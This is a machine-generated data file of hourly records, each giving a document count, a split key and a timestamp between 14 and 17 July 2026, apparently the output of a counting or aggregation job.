+{"doc_count":29249,"split_key":206264,"timestamp":"2026-07-14T15:00:00.000Z"} +{"doc_count":17093,"split_key":209334,"timestamp":"2026-07-14T15:00:00.000Z"} +{"doc_count":5949,"split_key":14061,"timestamp":"2026-07-14T15:00:00.000Z"} +{"doc_count":4356,"split_key":211590,"timestamp":"2026-07-14T15:00:00.000Z"} +{"doc_count":1185,"split_key":396982,"timestamp":"2026-07-14T15:00:00.000Z"} +{"doc_count":28952,"split_key":206264,"timestamp":"2026-07-14T16:00:00.000Z"} +{"doc_count":15254,"split_key":209334,"timestamp":"2026-07-14T16:00:00.000Z"} +{"doc_count":2883,"split_key":211590,"timestamp":"2026-07-14T16:00:00.000Z"} +{"doc_count":842,"split_key":37963,"timestamp":"2026-07-14T16:00:00.000Z"} +{"doc_count":738,"split_key":16509,"timestamp":"2026-07-14T16:00:00.000Z"} +{"doc_count":29147,"split_key":206264,"timestamp":"2026-07-14T17:00:00.000Z"} +{"doc_count":14869,"split_key":209334,"timestamp":"2026-07-14T17:00:00.000Z"} +{"doc_count":800,"split_key":16509,"timestamp":"2026-07-14T17:00:00.000Z"} +{"doc_count":733,"split_key":396982,"timestamp":"2026-07-14T17:00:00.000Z"} +{"doc_count":643,"split_key":25198,"timestamp":"2026-07-14T17:00:00.000Z"} +{"doc_count":14297,"split_key":209334,"timestamp":"2026-07-14T18:00:00.000Z"} +{"doc_count":3149,"split_key":211590,"timestamp":"2026-07-14T18:00:00.000Z"} +{"doc_count":2205,"split_key":8452,"timestamp":"2026-07-14T18:00:00.000Z"} +{"doc_count":916,"split_key":25198,"timestamp":"2026-07-14T18:00:00.000Z"} +{"doc_count":703,"split_key":141995,"timestamp":"2026-07-14T18:00:00.000Z"} +{"doc_count":13765,"split_key":209334,"timestamp":"2026-07-14T19:00:00.000Z"} +{"doc_count":2343,"split_key":211590,"timestamp":"2026-07-14T19:00:00.000Z"} +{"doc_count":1410,"split_key":137899,"timestamp":"2026-07-14T19:00:00.000Z"} +{"doc_count":974,"split_key":16509,"timestamp":"2026-07-14T19:00:00.000Z"} +{"doc_count":904,"split_key":25198,"timestamp":"2026-07-14T19:00:00.000Z"} +{"doc_count":16655,"split_key":209334,"timestamp":"2026-07-14T20:00:00.000Z"} +{"doc_count":3700,"split_key":211590,"timestamp":"2026-07-14T20:00:00.000Z"} +{"doc_count":936,"split_key":141995,"timestamp":"2026-07-14T20:00:00.000Z"} +{"doc_count":912,"split_key":25198,"timestamp":"2026-07-14T20:00:00.000Z"} +{"doc_count":909,"split_key":16509,"timestamp":"2026-07-14T20:00:00.000Z"} +{"doc_count":11062,"split_key":209334,"timestamp":"2026-07-14T21:00:00.000Z"} +{"doc_count":873,"split_key":25198,"timestamp":"2026-07-14T21:00:00.000Z"} +{"doc_count":745,"split_key":16509,"timestamp":"2026-07-14T21:00:00.000Z"} +{"doc_count":709,"split_key":396982,"timestamp":"2026-07-14T21:00:00.000Z"} +{"doc_count":640,"split_key":51396,"timestamp":"2026-07-14T21:00:00.000Z"} +{"doc_count":3822,"split_key":37963,"timestamp":"2026-07-14T22:00:00.000Z"} +{"doc_count":917,"split_key":25198,"timestamp":"2026-07-14T22:00:00.000Z"} +{"doc_count":767,"split_key":16509,"timestamp":"2026-07-14T22:00:00.000Z"} +{"doc_count":574,"split_key":63737,"timestamp":"2026-07-14T22:00:00.000Z"} +{"doc_count":543,"split_key":396982,"timestamp":"2026-07-14T22:00:00.000Z"} +{"doc_count":3016,"split_key":211590,"timestamp":"2026-07-14T23:00:00.000Z"} +{"doc_count":1008,"split_key":202412,"timestamp":"2026-07-14T23:00:00.000Z"} +{"doc_count":899,"split_key":25198,"timestamp":"2026-07-14T23:00:00.000Z"} +{"doc_count":833,"split_key":16509,"timestamp":"2026-07-14T23:00:00.000Z"} +{"doc_count":563,"split_key":398101,"timestamp":"2026-07-14T23:00:00.000Z"} +{"doc_count":4325,"split_key":48090,"timestamp":"2026-07-15T00:00:00.000Z"} +{"doc_count":3878,"split_key":211590,"timestamp":"2026-07-15T00:00:00.000Z"} +{"doc_count":1456,"split_key":202412,"timestamp":"2026-07-15T00:00:00.000Z"} +{"doc_count":870,"split_key":25198,"timestamp":"2026-07-15T00:00:00.000Z"} +{"doc_count":674,"split_key":398101,"timestamp":"2026-07-15T00:00:00.000Z"} +{"doc_count":11076,"split_key":14987,"timestamp":"2026-07-15T01:00:00.000Z"} +{"doc_count":2172,"split_key":211590,"timestamp":"2026-07-15T01:00:00.000Z"} +{"doc_count":1539,"split_key":50360,"timestamp":"2026-07-15T01:00:00.000Z"} +{"doc_count":1499,"split_key":202412,"timestamp":"2026-07-15T01:00:00.000Z"} +{"doc_count":895,"split_key":25198,"timestamp":"2026-07-15T01:00:00.000Z"} +{"doc_count":2872,"split_key":50360,"timestamp":"2026-07-15T02:00:00.000Z"} +{"doc_count":1527,"split_key":14061,"timestamp":"2026-07-15T02:00:00.000Z"} +{"doc_count":1492,"split_key":202412,"timestamp":"2026-07-15T02:00:00.000Z"} +{"doc_count":862,"split_key":25198,"timestamp":"2026-07-15T02:00:00.000Z"} +{"doc_count":711,"split_key":396982,"timestamp":"2026-07-15T02:00:00.000Z"} +{"doc_count":2794,"split_key":50360,"timestamp":"2026-07-15T03:00:00.000Z"} +{"doc_count":1523,"split_key":202412,"timestamp":"2026-07-15T03:00:00.000Z"} +{"doc_count":951,"split_key":25198,"timestamp":"2026-07-15T03:00:00.000Z"} +{"doc_count":862,"split_key":16509,"timestamp":"2026-07-15T03:00:00.000Z"} +{"doc_count":669,"split_key":63737,"timestamp":"2026-07-15T03:00:00.000Z"} +{"doc_count":2853,"split_key":50360,"timestamp":"2026-07-15T04:00:00.000Z"} +{"doc_count":1430,"split_key":137899,"timestamp":"2026-07-15T04:00:00.000Z"} +{"doc_count":1161,"split_key":37963,"timestamp":"2026-07-15T04:00:00.000Z"} +{"doc_count":1115,"split_key":202412,"timestamp":"2026-07-15T04:00:00.000Z"} +{"doc_count":1048,"split_key":25369,"timestamp":"2026-07-15T04:00:00.000Z"} +{"doc_count":3040,"split_key":50360,"timestamp":"2026-07-15T05:00:00.000Z"} +{"doc_count":1051,"split_key":25369,"timestamp":"2026-07-15T05:00:00.000Z"} +{"doc_count":870,"split_key":396982,"timestamp":"2026-07-15T05:00:00.000Z"} +{"doc_count":833,"split_key":25198,"timestamp":"2026-07-15T05:00:00.000Z"} +{"doc_count":681,"split_key":63737,"timestamp":"2026-07-15T05:00:00.000Z"} +{"doc_count":12143,"split_key":206264,"timestamp":"2026-07-15T06:00:00.000Z"} +{"doc_count":2907,"split_key":50360,"timestamp":"2026-07-15T06:00:00.000Z"} +{"doc_count":948,"split_key":25198,"timestamp":"2026-07-15T06:00:00.000Z"} +{"doc_count":878,"split_key":16509,"timestamp":"2026-07-15T06:00:00.000Z"} +{"doc_count":725,"split_key":202412,"timestamp":"2026-07-15T06:00:00.000Z"} +{"doc_count":12910,"split_key":209334,"timestamp":"2026-07-15T07:00:00.000Z"} +{"doc_count":12827,"split_key":206264,"timestamp":"2026-07-15T07:00:00.000Z"} +{"doc_count":2811,"split_key":50360,"timestamp":"2026-07-15T07:00:00.000Z"} +{"doc_count":848,"split_key":25198,"timestamp":"2026-07-15T07:00:00.000Z"} +{"doc_count":813,"split_key":16509,"timestamp":"2026-07-15T07:00:00.000Z"} +{"doc_count":18008,"split_key":209334,"timestamp":"2026-07-15T08:00:00.000Z"} +{"doc_count":10870,"split_key":206264,"timestamp":"2026-07-15T08:00:00.000Z"} +{"doc_count":3909,"split_key":202412,"timestamp":"2026-07-15T08:00:00.000Z"} +{"doc_count":2905,"split_key":50360,"timestamp":"2026-07-15T08:00:00.000Z"} +{"doc_count":912,"split_key":25198,"timestamp":"2026-07-15T08:00:00.000Z"} +{"doc_count":23361,"split_key":209334,"timestamp":"2026-07-15T09:00:00.000Z"} +{"doc_count":10599,"split_key":206264,"timestamp":"2026-07-15T09:00:00.000Z"} +{"doc_count":2846,"split_key":50360,"timestamp":"2026-07-15T09:00:00.000Z"} +{"doc_count":1279,"split_key":37963,"timestamp":"2026-07-15T09:00:00.000Z"} +{"doc_count":862,"split_key":25198,"timestamp":"2026-07-15T09:00:00.000Z"} +{"doc_count":18044,"split_key":209334,"timestamp":"2026-07-15T10:00:00.000Z"} +{"doc_count":11946,"split_key":206264,"timestamp":"2026-07-15T10:00:00.000Z"} +{"doc_count":2839,"split_key":50360,"timestamp":"2026-07-15T10:00:00.000Z"} +{"doc_count":943,"split_key":25198,"timestamp":"2026-07-15T10:00:00.000Z"} +{"doc_count":847,"split_key":16509,"timestamp":"2026-07-15T10:00:00.000Z"} +{"doc_count":21510,"split_key":209334,"timestamp":"2026-07-15T11:00:00.000Z"} +{"doc_count":7802,"split_key":206264,"timestamp":"2026-07-15T11:00:00.000Z"} +{"doc_count":2792,"split_key":50360,"timestamp":"2026-07-15T11:00:00.000Z"} +{"doc_count":1106,"split_key":37963,"timestamp":"2026-07-15T11:00:00.000Z"} +{"doc_count":892,"split_key":25198,"timestamp":"2026-07-15T11:00:00.000Z"} +{"doc_count":17600,"split_key":209334,"timestamp":"2026-07-15T12:00:00.000Z"} +{"doc_count":6556,"split_key":206264,"timestamp":"2026-07-15T12:00:00.000Z"} +{"doc_count":2852,"split_key":50360,"timestamp":"2026-07-15T12:00:00.000Z"} +{"doc_count":731,"split_key":202412,"timestamp":"2026-07-15T12:00:00.000Z"} +{"doc_count":672,"split_key":398101,"timestamp":"2026-07-15T12:00:00.000Z"} +{"doc_count":23292,"split_key":209334,"timestamp":"2026-07-15T13:00:00.000Z"} +{"doc_count":2858,"split_key":50360,"timestamp":"2026-07-15T13:00:00.000Z"} +{"doc_count":1802,"split_key":266583,"timestamp":"2026-07-15T13:00:00.000Z"} +{"doc_count":1398,"split_key":137899,"timestamp":"2026-07-15T13:00:00.000Z"} +{"doc_count":989,"split_key":206264,"timestamp":"2026-07-15T13:00:00.000Z"} +{"doc_count":16927,"split_key":209334,"timestamp":"2026-07-15T14:00:00.000Z"} +{"doc_count":3923,"split_key":206264,"timestamp":"2026-07-15T14:00:00.000Z"} +{"doc_count":3001,"split_key":211590,"timestamp":"2026-07-15T14:00:00.000Z"} +{"doc_count":2822,"split_key":50360,"timestamp":"2026-07-15T14:00:00.000Z"} +{"doc_count":884,"split_key":197540,"timestamp":"2026-07-15T14:00:00.000Z"} +{"doc_count":115124,"split_key":23470,"timestamp":"2026-07-15T15:00:00.000Z"} +{"doc_count":17598,"split_key":209334,"timestamp":"2026-07-15T15:00:00.000Z"} +{"doc_count":2814,"split_key":50360,"timestamp":"2026-07-15T15:00:00.000Z"} +{"doc_count":1219,"split_key":16509,"timestamp":"2026-07-15T15:00:00.000Z"} +{"doc_count":650,"split_key":63737,"timestamp":"2026-07-15T15:00:00.000Z"} +{"doc_count":13925,"split_key":209334,"timestamp":"2026-07-15T16:00:00.000Z"} +{"doc_count":2815,"split_key":50360,"timestamp":"2026-07-15T16:00:00.000Z"} +{"doc_count":1738,"split_key":206264,"timestamp":"2026-07-15T16:00:00.000Z"} +{"doc_count":825,"split_key":57724,"timestamp":"2026-07-15T16:00:00.000Z"} +{"doc_count":682,"split_key":16509,"timestamp":"2026-07-15T16:00:00.000Z"} +{"doc_count":16006,"split_key":209334,"timestamp":"2026-07-15T17:00:00.000Z"} +{"doc_count":2803,"split_key":50360,"timestamp":"2026-07-15T17:00:00.000Z"} +{"doc_count":922,"split_key":57724,"timestamp":"2026-07-15T17:00:00.000Z"} +{"doc_count":685,"split_key":139904,"timestamp":"2026-07-15T17:00:00.000Z"} +{"doc_count":654,"split_key":206264,"timestamp":"2026-07-15T17:00:00.000Z"} +{"doc_count":14163,"split_key":209334,"timestamp":"2026-07-15T18:00:00.000Z"} +{"doc_count":2699,"split_key":50360,"timestamp":"2026-07-15T18:00:00.000Z"} +{"doc_count":2091,"split_key":206264,"timestamp":"2026-07-15T18:00:00.000Z"} +{"doc_count":948,"split_key":57724,"timestamp":"2026-07-15T18:00:00.000Z"} +{"doc_count":713,"split_key":16509,"timestamp":"2026-07-15T18:00:00.000Z"} +{"doc_count":13647,"split_key":209334,"timestamp":"2026-07-15T19:00:00.000Z"} +{"doc_count":3655,"split_key":206264,"timestamp":"2026-07-15T19:00:00.000Z"} +{"doc_count":2507,"split_key":50360,"timestamp":"2026-07-15T19:00:00.000Z"} +{"doc_count":929,"split_key":57724,"timestamp":"2026-07-15T19:00:00.000Z"} +{"doc_count":717,"split_key":266583,"timestamp":"2026-07-15T19:00:00.000Z"} +{"doc_count":16372,"split_key":209334,"timestamp":"2026-07-15T20:00:00.000Z"} +{"doc_count":3379,"split_key":50360,"timestamp":"2026-07-15T20:00:00.000Z"} +{"doc_count":1867,"split_key":206264,"timestamp":"2026-07-15T20:00:00.000Z"} +{"doc_count":1154,"split_key":37963,"timestamp":"2026-07-15T20:00:00.000Z"} +{"doc_count":961,"split_key":57724,"timestamp":"2026-07-15T20:00:00.000Z"} +{"doc_count":13805,"split_key":48090,"timestamp":"2026-07-15T21:00:00.000Z"} +{"doc_count":11577,"split_key":209334,"timestamp":"2026-07-15T21:00:00.000Z"} +{"doc_count":2164,"split_key":50360,"timestamp":"2026-07-15T21:00:00.000Z"} +{"doc_count":1569,"split_key":206264,"timestamp":"2026-07-15T21:00:00.000Z"} +{"doc_count":928,"split_key":57724,"timestamp":"2026-07-15T21:00:00.000Z"} +{"doc_count":5751,"split_key":48090,"timestamp":"2026-07-15T22:00:00.000Z"} +{"doc_count":1706,"split_key":50360,"timestamp":"2026-07-15T22:00:00.000Z"} +{"doc_count":1415,"split_key":137899,"timestamp":"2026-07-15T22:00:00.000Z"} +{"doc_count":1414,"split_key":206264,"timestamp":"2026-07-15T22:00:00.000Z"} +{"doc_count":949,"split_key":24323,"timestamp":"2026-07-15T22:00:00.000Z"} +{"doc_count":1670,"split_key":50360,"timestamp":"2026-07-15T23:00:00.000Z"} +{"doc_count":1447,"split_key":206264,"timestamp":"2026-07-15T23:00:00.000Z"} +{"doc_count":946,"split_key":57724,"timestamp":"2026-07-15T23:00:00.000Z"} +{"doc_count":763,"split_key":24323,"timestamp":"2026-07-15T23:00:00.000Z"} +{"doc_count":632,"split_key":63737,"timestamp":"2026-07-15T23:00:00.000Z"} +{"doc_count":13124,"split_key":14987,"timestamp":"2026-07-16T00:00:00.000Z"} +{"doc_count":2901,"split_key":50360,"timestamp":"2026-07-16T00:00:00.000Z"} +{"doc_count":1450,"split_key":206264,"timestamp":"2026-07-16T00:00:00.000Z"} +{"doc_count":1365,"split_key":26496,"timestamp":"2026-07-16T00:00:00.000Z"} +{"doc_count":946,"split_key":57724,"timestamp":"2026-07-16T00:00:00.000Z"} +{"doc_count":3421,"split_key":50360,"timestamp":"2026-07-16T01:00:00.000Z"} +{"doc_count":1430,"split_key":206264,"timestamp":"2026-07-16T01:00:00.000Z"} +{"doc_count":1265,"split_key":63737,"timestamp":"2026-07-16T01:00:00.000Z"} +{"doc_count":978,"split_key":57724,"timestamp":"2026-07-16T01:00:00.000Z"} +{"doc_count":940,"split_key":396982,"timestamp":"2026-07-16T01:00:00.000Z"} +{"doc_count":1794,"split_key":50360,"timestamp":"2026-07-16T02:00:00.000Z"} +{"doc_count":1405,"split_key":206264,"timestamp":"2026-07-16T02:00:00.000Z"} +{"doc_count":954,"split_key":57724,"timestamp":"2026-07-16T02:00:00.000Z"} +{"doc_count":878,"split_key":396982,"timestamp":"2026-07-16T02:00:00.000Z"} +{"doc_count":761,"split_key":24323,"timestamp":"2026-07-16T02:00:00.000Z"} +{"doc_count":5154,"split_key":211590,"timestamp":"2026-07-16T03:00:00.000Z"} +{"doc_count":1554,"split_key":8452,"timestamp":"2026-07-16T03:00:00.000Z"} +{"doc_count":1350,"split_key":206264,"timestamp":"2026-07-16T03:00:00.000Z"} +{"doc_count":973,"split_key":57724,"timestamp":"2026-07-16T03:00:00.000Z"} +{"doc_count":757,"split_key":24323,"timestamp":"2026-07-16T03:00:00.000Z"} +{"doc_count":2285,"split_key":211590,"timestamp":"2026-07-16T04:00:00.000Z"} +{"doc_count":1565,"split_key":206264,"timestamp":"2026-07-16T04:00:00.000Z"} +{"doc_count":1025,"split_key":25369,"timestamp":"2026-07-16T04:00:00.000Z"} +{"doc_count":944,"split_key":396982,"timestamp":"2026-07-16T04:00:00.000Z"} +{"doc_count":591,"split_key":16509,"timestamp":"2026-07-16T04:00:00.000Z"} +{"doc_count":2846,"split_key":19318,"timestamp":"2026-07-16T05:00:00.000Z"} +{"doc_count":1493,"split_key":206264,"timestamp":"2026-07-16T05:00:00.000Z"} +{"doc_count":1043,"split_key":396982,"timestamp":"2026-07-16T05:00:00.000Z"} +{"doc_count":824,"split_key":25369,"timestamp":"2026-07-16T05:00:00.000Z"} +{"doc_count":690,"split_key":16509,"timestamp":"2026-07-16T05:00:00.000Z"} +{"doc_count":2412,"split_key":211590,"timestamp":"2026-07-16T06:00:00.000Z"} +{"doc_count":1769,"split_key":206264,"timestamp":"2026-07-16T06:00:00.000Z"} +{"doc_count":862,"split_key":396982,"timestamp":"2026-07-16T06:00:00.000Z"} +{"doc_count":624,"split_key":63737,"timestamp":"2026-07-16T06:00:00.000Z"} +{"doc_count":483,"split_key":37963,"timestamp":"2026-07-16T06:00:00.000Z"} +{"doc_count":12723,"split_key":209334,"timestamp":"2026-07-16T07:00:00.000Z"} +{"doc_count":1426,"split_key":206264,"timestamp":"2026-07-16T07:00:00.000Z"} +{"doc_count":1411,"split_key":137899,"timestamp":"2026-07-16T07:00:00.000Z"} +{"doc_count":727,"split_key":24323,"timestamp":"2026-07-16T07:00:00.000Z"} +{"doc_count":680,"split_key":7393,"timestamp":"2026-07-16T07:00:00.000Z"} +{"doc_count":27992,"split_key":63949,"timestamp":"2026-07-16T08:00:00.000Z"} +{"doc_count":16868,"split_key":209334,"timestamp":"2026-07-16T08:00:00.000Z"} +{"doc_count":7778,"split_key":209272,"timestamp":"2026-07-16T08:00:00.000Z"} +{"doc_count":4138,"split_key":13649,"timestamp":"2026-07-16T08:00:00.000Z"} +{"doc_count":3144,"split_key":206264,"timestamp":"2026-07-16T08:00:00.000Z"} +{"doc_count":20471,"split_key":209334,"timestamp":"2026-07-16T09:00:00.000Z"} +{"doc_count":6703,"split_key":209272,"timestamp":"2026-07-16T09:00:00.000Z"} +{"doc_count":3578,"split_key":206264,"timestamp":"2026-07-16T09:00:00.000Z"} +{"doc_count":1553,"split_key":211590,"timestamp":"2026-07-16T09:00:00.000Z"} +{"doc_count":1363,"split_key":63949,"timestamp":"2026-07-16T09:00:00.000Z"} +{"doc_count":18529,"split_key":209334,"timestamp":"2026-07-16T10:00:00.000Z"} +{"doc_count":3790,"split_key":206264,"timestamp":"2026-07-16T10:00:00.000Z"} +{"doc_count":2659,"split_key":139952,"timestamp":"2026-07-16T10:00:00.000Z"} +{"doc_count":2486,"split_key":202412,"timestamp":"2026-07-16T10:00:00.000Z"} +{"doc_count":1237,"split_key":16509,"timestamp":"2026-07-16T10:00:00.000Z"} +{"doc_count":22618,"split_key":209334,"timestamp":"2026-07-16T11:00:00.000Z"} +{"doc_count":1597,"split_key":206264,"timestamp":"2026-07-16T11:00:00.000Z"} +{"doc_count":1533,"split_key":203140,"timestamp":"2026-07-16T11:00:00.000Z"} +{"doc_count":1385,"split_key":37963,"timestamp":"2026-07-16T11:00:00.000Z"} +{"doc_count":933,"split_key":51396,"timestamp":"2026-07-16T11:00:00.000Z"} +{"doc_count":18417,"split_key":209334,"timestamp":"2026-07-16T12:00:00.000Z"} +{"doc_count":4978,"split_key":206264,"timestamp":"2026-07-16T12:00:00.000Z"} +{"doc_count":2625,"split_key":211590,"timestamp":"2026-07-16T12:00:00.000Z"} +{"doc_count":1888,"split_key":139952,"timestamp":"2026-07-16T12:00:00.000Z"} +{"doc_count":1332,"split_key":203140,"timestamp":"2026-07-16T12:00:00.000Z"} +{"doc_count":23006,"split_key":209334,"timestamp":"2026-07-16T13:00:00.000Z"} +{"doc_count":3946,"split_key":206264,"timestamp":"2026-07-16T13:00:00.000Z"} +{"doc_count":2604,"split_key":139952,"timestamp":"2026-07-16T13:00:00.000Z"} +{"doc_count":2466,"split_key":38235,"timestamp":"2026-07-16T13:00:00.000Z"} +{"doc_count":988,"split_key":56005,"timestamp":"2026-07-16T13:00:00.000Z"} +{"doc_count":16638,"split_key":209334,"timestamp":"2026-07-16T14:00:00.000Z"} +{"doc_count":5682,"split_key":206264,"timestamp":"2026-07-16T14:00:00.000Z"} +{"doc_count":1586,"split_key":139952,"timestamp":"2026-07-16T14:00:00.000Z"} +{"doc_count":1111,"split_key":37963,"timestamp":"2026-07-16T14:00:00.000Z"} +{"doc_count":770,"split_key":24323,"timestamp":"2026-07-16T14:00:00.000Z"} +{"doc_count":10931,"split_key":209334,"timestamp":"2026-07-16T15:00:00.000Z"} +{"doc_count":6417,"split_key":206264,"timestamp":"2026-07-16T15:00:00.000Z"} +{"doc_count":3163,"split_key":211590,"timestamp":"2026-07-16T15:00:00.000Z"} +{"doc_count":1009,"split_key":137899,"timestamp":"2026-07-16T15:00:00.000Z"} +{"doc_count":898,"split_key":16509,"timestamp":"2026-07-16T15:00:00.000Z"} +{"doc_count":3143,"split_key":211590,"timestamp":"2026-07-16T16:00:00.000Z"} +{"doc_count":2843,"split_key":206264,"timestamp":"2026-07-16T16:00:00.000Z"} +{"doc_count":1001,"split_key":37963,"timestamp":"2026-07-16T16:00:00.000Z"} +{"doc_count":759,"split_key":24323,"timestamp":"2026-07-16T16:00:00.000Z"} +{"doc_count":717,"split_key":396982,"timestamp":"2026-07-16T16:00:00.000Z"} +{"doc_count":989,"split_key":396982,"timestamp":"2026-07-16T17:00:00.000Z"} +{"doc_count":941,"split_key":37963,"timestamp":"2026-07-16T17:00:00.000Z"} +{"doc_count":912,"split_key":212238,"timestamp":"2026-07-16T17:00:00.000Z"} +{"doc_count":873,"split_key":206264,"timestamp":"2026-07-16T17:00:00.000Z"} +{"doc_count":773,"split_key":24323,"timestamp":"2026-07-16T17:00:00.000Z"} +{"doc_count":5565,"split_key":206264,"timestamp":"2026-07-16T18:00:00.000Z"} +{"doc_count":947,"split_key":37963,"timestamp":"2026-07-16T18:00:00.000Z"} +{"doc_count":794,"split_key":396982,"timestamp":"2026-07-16T18:00:00.000Z"} +{"doc_count":742,"split_key":24323,"timestamp":"2026-07-16T18:00:00.000Z"} +{"doc_count":632,"split_key":63737,"timestamp":"2026-07-16T18:00:00.000Z"} +{"doc_count":11592,"split_key":206264,"timestamp":"2026-07-16T19:00:00.000Z"} +{"doc_count":939,"split_key":37963,"timestamp":"2026-07-16T19:00:00.000Z"} +{"doc_count":742,"split_key":203140,"timestamp":"2026-07-16T19:00:00.000Z"} +{"doc_count":742,"split_key":396982,"timestamp":"2026-07-16T19:00:00.000Z"} +{"doc_count":732,"split_key":24323,"timestamp":"2026-07-16T19:00:00.000Z"} +{"doc_count":2788,"split_key":206264,"timestamp":"2026-07-16T20:00:00.000Z"} +{"doc_count":1138,"split_key":14618,"timestamp":"2026-07-16T20:00:00.000Z"} +{"doc_count":942,"split_key":37963,"timestamp":"2026-07-16T20:00:00.000Z"} +{"doc_count":790,"split_key":24323,"timestamp":"2026-07-16T20:00:00.000Z"} +{"doc_count":753,"split_key":396982,"timestamp":"2026-07-16T20:00:00.000Z"} +{"doc_count":10794,"split_key":206264,"timestamp":"2026-07-16T21:00:00.000Z"} +{"doc_count":3032,"split_key":14618,"timestamp":"2026-07-16T21:00:00.000Z"} +{"doc_count":949,"split_key":37963,"timestamp":"2026-07-16T21:00:00.000Z"} +{"doc_count":925,"split_key":396982,"timestamp":"2026-07-16T21:00:00.000Z"} +{"doc_count":889,"split_key":51396,"timestamp":"2026-07-16T21:00:00.000Z"} +{"doc_count":13699,"split_key":206264,"timestamp":"2026-07-16T22:00:00.000Z"} +{"doc_count":3319,"split_key":16509,"timestamp":"2026-07-16T22:00:00.000Z"} +{"doc_count":996,"split_key":37963,"timestamp":"2026-07-16T22:00:00.000Z"} +{"doc_count":756,"split_key":396982,"timestamp":"2026-07-16T22:00:00.000Z"} +{"doc_count":754,"split_key":24323,"timestamp":"2026-07-16T22:00:00.000Z"} +{"doc_count":17465,"split_key":209334,"timestamp":"2026-07-16T23:00:00.000Z"} +{"doc_count":7813,"split_key":206264,"timestamp":"2026-07-16T23:00:00.000Z"} +{"doc_count":1143,"split_key":63737,"timestamp":"2026-07-16T23:00:00.000Z"} +{"doc_count":1106,"split_key":48090,"timestamp":"2026-07-16T23:00:00.000Z"} +{"doc_count":1097,"split_key":37963,"timestamp":"2026-07-16T23:00:00.000Z"} +{"doc_count":26676,"split_key":209334,"timestamp":"2026-07-17T00:00:00.000Z"} +{"doc_count":12406,"split_key":206264,"timestamp":"2026-07-17T00:00:00.000Z"} +{"doc_count":11829,"split_key":14987,"timestamp":"2026-07-17T00:00:00.000Z"} +{"doc_count":2862,"split_key":48090,"timestamp":"2026-07-17T00:00:00.000Z"} +{"doc_count":1392,"split_key":137899,"timestamp":"2026-07-17T00:00:00.000Z"} +{"doc_count":37207,"split_key":206264,"timestamp":"2026-07-17T01:00:00.000Z"} +{"doc_count":27900,"split_key":209334,"timestamp":"2026-07-17T01:00:00.000Z"} +{"doc_count":5168,"split_key":139952,"timestamp":"2026-07-17T01:00:00.000Z"} +{"doc_count":1264,"split_key":16509,"timestamp":"2026-07-17T01:00:00.000Z"} +{"doc_count":1037,"split_key":37963,"timestamp":"2026-07-17T01:00:00.000Z"} +{"doc_count":36979,"split_key":206264,"timestamp":"2026-07-17T02:00:00.000Z"} +{"doc_count":19399,"split_key":209334,"timestamp":"2026-07-17T02:00:00.000Z"} +{"doc_count":5168,"split_key":139952,"timestamp":"2026-07-17T02:00:00.000Z"} +{"doc_count":2045,"split_key":16276,"timestamp":"2026-07-17T02:00:00.000Z"} +{"doc_count":1374,"split_key":63737,"timestamp":"2026-07-17T02:00:00.000Z"} +{"doc_count":36967,"split_key":206264,"timestamp":"2026-07-17T03:00:00.000Z"} +{"doc_count":1103,"split_key":37963,"timestamp":"2026-07-17T03:00:00.000Z"} +{"doc_count":944,"split_key":141968,"timestamp":"2026-07-17T03:00:00.000Z"} +{"doc_count":796,"split_key":24323,"timestamp":"2026-07-17T03:00:00.000Z"} +{"doc_count":703,"split_key":396982,"timestamp":"2026-07-17T03:00:00.000Z"} +{"doc_count":36976,"split_key":206264,"timestamp":"2026-07-17T04:00:00.000Z"} +{"doc_count":1081,"split_key":37963,"timestamp":"2026-07-17T04:00:00.000Z"} +{"doc_count":992,"split_key":25369,"timestamp":"2026-07-17T04:00:00.000Z"} +{"doc_count":790,"split_key":24323,"timestamp":"2026-07-17T04:00:00.000Z"} +{"doc_count":687,"split_key":51396,"timestamp":"2026-07-17T04:00:00.000Z"} +{"doc_count":37005,"split_key":206264,"timestamp":"2026-07-17T05:00:00.000Z"} +{"doc_count":1089,"split_key":37963,"timestamp":"2026-07-17T05:00:00.000Z"} +{"doc_count":946,"split_key":25369,"timestamp":"2026-07-17T05:00:00.000Z"} +{"doc_count":780,"split_key":12876,"timestamp":"2026-07-17T05:00:00.000Z"} +{"doc_count":778,"split_key":24323,"timestamp":"2026-07-17T05:00:00.000Z"} +{"doc_count":36984,"split_key":206264,"timestamp":"2026-07-17T06:00:00.000Z"} +{"doc_count":2342,"split_key":12876,"timestamp":"2026-07-17T06:00:00.000Z"} +{"doc_count":1057,"split_key":37963,"timestamp":"2026-07-17T06:00:00.000Z"} +{"doc_count":818,"split_key":24323,"timestamp":"2026-07-17T06:00:00.000Z"} +{"doc_count":621,"split_key":51396,"timestamp":"2026-07-17T06:00:00.000Z"} +{"doc_count":36976,"split_key":206264,"timestamp":"2026-07-17T07:00:00.000Z"} +{"doc_count":11284,"split_key":209334,"timestamp":"2026-07-17T07:00:00.000Z"} +{"doc_count":1312,"split_key":141968,"timestamp":"2026-07-17T07:00:00.000Z"} +{"doc_count":1309,"split_key":12876,"timestamp":"2026-07-17T07:00:00.000Z"} +{"doc_count":1111,"split_key":37963,"timestamp":"2026-07-17T07:00:00.000Z"} +{"doc_count":36970,"split_key":206264,"timestamp":"2026-07-17T08:00:00.000Z"} +{"doc_count":18307,"split_key":209334,"timestamp":"2026-07-17T08:00:00.000Z"} +{"doc_count":1479,"split_key":37963,"timestamp":"2026-07-17T08:00:00.000Z"} +{"doc_count":1148,"split_key":63737,"timestamp":"2026-07-17T08:00:00.000Z"} +{"doc_count":923,"split_key":24323,"timestamp":"2026-07-17T08:00:00.000Z"} +{"doc_count":36984,"split_key":206264,"timestamp":"2026-07-17T09:00:00.000Z"} +{"doc_count":15909,"split_key":209334,"timestamp":"2026-07-17T09:00:00.000Z"} +{"doc_count":2564,"split_key":213252,"timestamp":"2026-07-17T09:00:00.000Z"} +{"doc_count":1404,"split_key":137899,"timestamp":"2026-07-17T09:00:00.000Z"} +{"doc_count":1362,"split_key":37963,"timestamp":"2026-07-17T09:00:00.000Z"} +{"doc_count":22756,"split_key":209334,"timestamp":"2026-07-17T10:00:00.000Z"} +{"doc_count":18519,"split_key":206264,"timestamp":"2026-07-17T10:00:00.000Z"} +{"doc_count":1364,"split_key":51396,"timestamp":"2026-07-17T10:00:00.000Z"} +{"doc_count":941,"split_key":24323,"timestamp":"2026-07-17T10:00:00.000Z"} +{"doc_count":851,"split_key":37963,"timestamp":"2026-07-17T10:00:00.000Z"} +{"doc_count":22874,"split_key":209334,"timestamp":"2026-07-17T11:00:00.000Z"} +{"doc_count":1709,"split_key":51396,"timestamp":"2026-07-17T11:00:00.000Z"} +{"doc_count":970,"split_key":24323,"timestamp":"2026-07-17T11:00:00.000Z"} 